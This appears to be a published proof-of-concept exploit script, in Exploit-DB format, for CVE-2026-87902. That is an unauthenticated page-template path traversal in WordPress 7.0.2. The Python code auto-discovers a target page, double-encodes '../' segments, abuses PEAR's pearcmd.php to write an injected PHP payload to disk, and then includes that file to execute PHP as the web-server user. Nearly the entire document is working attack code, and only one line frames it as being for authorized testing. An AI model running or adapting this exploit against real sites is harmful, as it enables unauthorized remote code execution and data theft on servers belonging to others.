# Exploit Title: WordPress 7.0.2 - Path Travesal
# Google Dork: N/A
# Date: 2026-09-22
# Exploit Author: Robert Ressl (https://ressl.ch)
# Vendor Homepage: https://wordpress.org
# Software Link: https://wordpress.org/download/releases/
# Version: WordPress 7.0.2 (patched in 7.1.2 and 7.0.6; backports to every =
branch down to 4.7.37)
# Tested on: WordPress 7.0.2 / PHP 8.3.33 (Apache module) / MySQL 8.4 (offi=
cial wordpress:7.0.2-php8.3-apache image, x86-64 and arm64)
# CVE: CVE-2026-87902
# Advisory: https://github.com/WordPress/wordpress-develop/security/advisor=
ies/GHSA-7hp8-65ch-5whp
# Write-up: https://ressl.ch/blog/cve-2026-87902-wordpress/
# Source: https://github.com/ressl/cve-2026-87902-poc
#
# Requires: Python 3.6+ (standard library only)
# Usage: python3 cve-2026-87902.py --url http://127.0.0.1:8091 [--page-id N=
] [--depth 7]
#
# Preconditions (the Source repository ships a lab that provides all of the=
m):
# * a published page that uses the default template (auto-detected via RE=
ST, or --page-id)
# * a top-level `page-*` directory in the active theme (--theme-dir, defa=
ult page-templates)
# * a readable PEAR pearcmd.php (--include) and register_argc_argv=3DOn f=
or the web SAPI
# * a writable directory for the PEAR payload (--output, default /tmp)
"""
CVE-2026-87902 - unauthenticated path traversal in WordPress page-template
resolution leading to local PHP file inclusion (and, where the deployment
allows it, to PHP code execution).
Two anonymous POST requests are enough:
Stage 1 The traversal makes the template loader include a readable local
`.php` file outside the theme roots. With PEAR present and
`register_argc_argv=3DOn`, `/usr/local/lib/php/pearcmd.php` acts=
as a
file-write gadget: `config-create` serializes attacker-controlle=
d
data - including PHP opening tags - into a writable directory.
Stage 2 The same traversal includes the generated file, so the embedded =
PHP
runs with the privileges of the web-server account.
The WordPress defect is the missing path containment. PEAR is only one
environment-dependent way of turning the inclusion into code execution.
For authorized security testing and research only.
"""
import argparse
import http.client
import json
import ssl
import sys
from urllib.parse import urlsplit
USER_AGENT =3D "cve-2026-87902-poc/1.0"
# Lab defaults (see lab/ and README.md). WordPress appends `.php` to the
# traversal target, so those paths are always given without the suffix.
DEFAULT_MARKER =3D "CVE-2026-87902-POC-OK"
DEFAULT_THEME_DIR =3D "page-templates" # theme directory supplyi=
ng the fixed `page-` prefix
DEFAULT_INCLUDE =3D "/usr/local/lib/php/pearcmd" # gadget included in stag=
e 1
DEFAULT_OUTPUT =3D "/tmp/wp-pear-rce-flag" # PEAR writes `<output>.p=
hp` to this path
DEFAULT_READ =3D "/flag" # file printed by the inj=
ected PHP
LAB_DEPTH =3D 7 # `..` segments from the =
theme root to `/`
def send_request(base, method, path, body=3DNone, timeout=3D20.0, insecure=
=3DFalse):
"""Send a request with a byte-exact request target.
The request target must reach the server unmodified: the raw `<`, `>`, =
`=3D`
and `+` bytes are load-bearing (PHP splits the raw query string into PE=
AR's
argv and does not URL-decode the individual arguments), so nothing may =
be
re-encoded on the way out.
"""
parts =3D urlsplit(base)
if not parts.hostname:
raise ValueError("invalid target URL: %s" % base)
if parts.scheme =3D=3D "https":
context =3D ssl._create_unverified_context() if insecure else ssl.c=
reate_default_context()
conn =3D http.client.HTTPSConnection(
parts.hostname, parts.port or 443, timeout=3Dtimeout, context=
=3Dcontext
)
else:
conn =3D http.client.HTTPConnection(parts.hostname, parts.port or 8=
0, timeout=3Dtimeout)
headers =3D {
"User-Agent": USER_AGENT,
"Accept": "*/*",
"Content-Type": "application/x-www-form-urlencoded",
"Connection": "close",
}
try:
conn.request(method, path, body=3Dbody, headers=3Dheaders)
response =3D conn.getresponse()
return response.status, response.read().decode("utf-8", "replace")
finally:
conn.close()
def php_literal(value):
"""Quote-free PHP string literal: `/flag` -> chr(47).chr(102).chr(108).=
.."""
return ".".join("chr(%d)" % ord(char) for char in value)
def double_encode(path):
"""Encode a theme-relative path for the request body.
PHP decodes the form body once. WordPress must still see the escaped oc=
tets
(`%2f`, `%2e`) afterwards, so that `wp_basename()` and the query saniti=
zer
leave the traversal alone; `get_page_template()` decodes them much late=
r.
"""
once =3D path.replace("/", "%2F").replace(".", "%2E")
return once.replace("%", "%25")
def candidate(theme_dir, depth, target):
"""Theme-relative candidate path for an absolute local target.
WordPress prepends the fixed `page-` prefix when building the template
name, so the path segment derived from a theme directory `page-template=
s`
is `templates`: `page-` + `templates/../../<target>` + `.php`.
"""
prefix =3D theme_dir[len("page-"):] if theme_dir.startswith("page-") el=
se theme_dir
return prefix + "/" + "../" * depth + target.lstrip("/")
def find_page(base, timeout, insecure):
"""Find a published page using the default template (anonymous REST cal=
l)."""
routes =3D (
"/index.php?rest_route=3D/wp/v2/pages&per_page=3D100&_fields=3Did,s=
lug,template",
"/wp-json/wp/v2/pages?per_page=3D100&_fields=3Did,slug,template",
)
for route in routes:
try:
status, body =3D send_request(base, "GET", route, timeout=3Dtim=
eout, insecure=3Dinsecure)
except Exception:
continue
if status !=3D 200:
continue
try:
pages =3D json.loads(body)
except ValueError:
continue
if not isinstance(pages, list) or not pages:
continue
for page in pages: # a custom page template would win the hierarch=
y before the traversal
if not page.get("template"):
return page.get("id"), page.get("slug", ""), route
return pages[0].get("id"), pages[0].get("slug", ""), route
return None, None, None
def run_stages(base, args, depth):
"""Run both stages for one traversal depth. Returns a result dict."""
include_path =3D candidate(args.theme_dir, depth, args.include)
output_path =3D candidate(args.theme_dir, depth, args.output)
payload =3D "<?=3Dfile_get_contents(%s)?>" % php_literal(args.read)
# Stage 1: the raw query string becomes PEAR's argv. `config-create`
# requires an absolute root path, so the payload is injected as that ro=
ot
# (`/<php>`) and PEAR serializes it into the generated config file.
stage1_target =3D "/?+config-create+/" + payload + "+" + args.output + =
".php"
stage1_body =3D "page_id=3D%d&pagename=3D%s" % (args.page_id, double_en=
code(include_path))
status1, _ =3D send_request(base, "POST", stage1_target, body=3Dstage1_=
body,
timeout=3Dargs.timeout, insecure=3Dargs.insec=
ure)
# Stage 2: include the file PEAR just wrote.
stage2_body =3D "page_id=3D%d&pagename=3D%s" % (args.page_id, double_en=
code(output_path))
status2, text2 =3D send_request(base, "POST", "/", body=3Dstage2_body,
timeout=3Dargs.timeout, insecure=3Dargs.i=
nsecure)
return {
"depth": depth,
"include_candidate": "page-" + include_path + ".php",
"output_candidate": "page-" + output_path + ".php",
"status1": status1,
"status2": status2,
"hits": text2.count(args.marker),
"body": text2,
}
def first_line_with(text, marker, limit=3D200):
index =3D text.find(marker)
if index < 0:
return ""
chunk =3D text[index:index + limit]
return chunk.splitlines()[0] if chunk else ""
def main(argv=3DNone):
parser =3D argparse.ArgumentParser(
description=3D"CVE-2026-87902 - WordPress page-template traversal t=
o local PHP inclusion (PoC)",
formatter_class=3Dargparse.ArgumentDefaultsHelpFormatter,
)
parser.add_argument("--url", default=3D"http://127.0.0.1:8091", help=3D=
"WordPress base URL")
parser.add_argument("--page-id", type=3Dint, help=3D"published page ID =
(auto-detected via REST if omitted)")
parser.add_argument("--theme-dir", default=3DDEFAULT_THEME_DIR,
help=3D"top-level `page-*` directory of the active =
theme")
parser.add_argument("--include", default=3DDEFAULT_INCLUDE,
help=3D"local file to include in stage 1 (no `.php`=
suffix)")
parser.add_argument("--output", default=3DDEFAULT_OUTPUT,
help=3D"writable destination for the PEAR payload (=
no `.php` suffix)")
parser.add_argument("--read", default=3DDEFAULT_READ, help=3D"file prin=
ted by the injected PHP")
parser.add_argument("--marker", default=3DDEFAULT_MARKER,
help=3D"string expected in the stage-2 response on =
success")
parser.add_argument("--depth", type=3Dint, default=3D0,
help=3D"number of `..` segments (0 =3D lab depth fi=
rst, then 1..12)")
parser.add_argument("--timeout", type=3Dfloat, default=3D20.0, help=3D"=
per-request timeout in seconds")
parser.add_argument("--insecure", action=3D"store_true", help=3D"do not=
verify TLS certificates")
args =3D parser.parse_args(argv)
if not args.theme_dir.startswith("page-"):
parser.error("--theme-dir must be the real theme directory name and=
start with 'page-'")
base =3D args.url.rstrip("/")
print("[*] target : %s" % base)
if args.page_id:
print("[*] page id : %d (from --page-id)" % args.page_id)
else:
page_id, slug, route =3D find_page(base, args.timeout, args.insecur=
e)
if not page_id:
print("[-] no published page found - pass --page-id explicitly"=
, file=3Dsys.stderr)
return 1
args.page_id =3D page_id
print("[*] page id : %d (%s, default template, via %s)" % (pa=
ge_id, slug or "?", route))
if args.depth:
depths =3D [args.depth]
else:
depths =3D [LAB_DEPTH] + [d for d in range(1, 13) if d !=3D LAB_DEP=
TH]
for depth in depths:
result =3D run_stages(base, args, depth)
print("[*] depth %-2d : stage 1 HTTP %s, stage 2 HTTP %s"
% (depth, result["status1"], result["status2"]))
if result["hits"]:
print("[+] traversal : %s" % result["include_candidate"])
print("[+] payload file : %s (written by PEAR in stage 1)" % r=
esult["output_candidate"])
print("[+] marker : %r found %d time(s) in the stage-2 r=
esponse"
% (args.marker, result["hits"]))
print("[+] proof : %s" % first_line_with(result["body"]=
, args.marker))
print("[+] EXPLOIT SUCCESSFUL - PHP executed with the web-serve=
r account's privileges")
return 0
print("[-] exploit failed", file=3Dsys.stderr)
print(" check that lab/up.sh completed (WordPress installed, `page-*=
` fixture present,",
file=3Dsys.stderr)
print(" /flag readable), that the page ID is published, and that PEA=
R is reachable with",
file=3Dsys.stderr)
print(" register_argc_argv=3DOn for the web SAPI.", file=3Dsys.stder=
r)
return 1
if __name__ =3D=3D "__main__":
sys.exit(main())